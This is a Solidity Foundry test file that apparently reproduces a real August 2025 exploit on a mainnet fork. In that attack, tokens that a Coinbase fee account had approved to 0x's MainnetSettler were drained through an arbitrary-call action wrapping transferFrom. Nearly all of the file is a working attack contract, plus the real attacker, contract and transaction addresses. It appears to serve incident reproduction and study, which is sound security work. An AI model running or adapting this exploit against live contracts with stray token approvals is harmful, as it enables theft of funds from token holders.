src/test/2025-08/coinbase_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 300k USD
8// Attacker : https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649
9// Attack Contract : https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971
10// Vulnerable Contract : 
11// Attack Tx : https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b
12 
13// @Info
14// Vulnerable Contract Code : 
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/deeberiroz/status/1955718986894549344
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22// 0x swapper
23address constant MAINNET_SETTLER = 0xDf31A70a21A1931e02033dBBa7DEaCe6c45cfd0f;
24address constant ANDY = 0x68BbEd6A47194EFf1CF514B50Ea91895597fc91E;
25// coinbase fee receiver account
26address constant COINBASE_FEE = 0x382fFCe2287252F930E1C8DC9328dac5BF282bA1;
27 
28contract coinbase is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 23134257 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = ANDY;
35    }
36 
37    function testExploit() public balanceLog {
38        // Root cause: A Coinbase fee account accidentally approved multiple ERC-20 tokens to a 0x swapper.
39        // The swapper lets anyone execute arbitrary calls.
40        // For example:
41        // https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f2
42 
43        // About 2 hours later (Aug-13-2025 07 PM), the attacker noticed and began exploiting it.
44        AttackContract attackContract = new AttackContract();
45        vm.deal(address(this), 0.01 ether);
46        uint256 fund = 0.00000000000000162 ether;
47        attackContract.attack{value: fund}();
48    }
49}
50 
51contract AttackContract is Test {
52    function attack() public payable {
53        AllowedSlippage memory slippage = AllowedSlippage({
54            recipient: payable(address(0)),
55            buyToken: IERC20(address(0)),
56            minAmountOut: 0
57        });
58        bytes[] memory actions = new bytes[](1);
59        uint256 amount = IERC20(ANDY).balanceOf(COINBASE_FEE);
60        bytes memory action = buildData(0, 10000, ANDY, 0, COINBASE_FEE, msg.sender, amount);
61        actions[0] = action;
62        // bytes32 data = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;
63        IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, "");
64    }
65 
66    function buildData(
67        uint256 arg0,
68        uint256 arg1,
69        address target,
70        uint256 arg3,
71        address from,
72        address to,
73        uint256 amount
74    ) public pure returns (bytes memory) {
75        // Encode the inner ERC20 transferFrom call
76        bytes memory inner = abi.encodeWithSelector(
77            bytes4(keccak256("transferFrom(address,address,uint256)")),
78            from,
79            to,
80            amount
81        );
82 
83        // Encode the outer function call
84        bytes memory data = abi.encodeWithSelector(
85            bytes4(0x38c9c147),
86            arg0,
87            arg1,
88            target,
89            arg3,
90            inner
91        );
92        return data;
93    }
94}
95 
96struct AllowedSlippage {
97    address payable recipient;
98    IERC20 buyToken;
99    uint256 minAmountOut;
100}
101 
102interface IMainnetSettler {
103    function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 data)
104        external
105        payable
106        returns (bool);
107}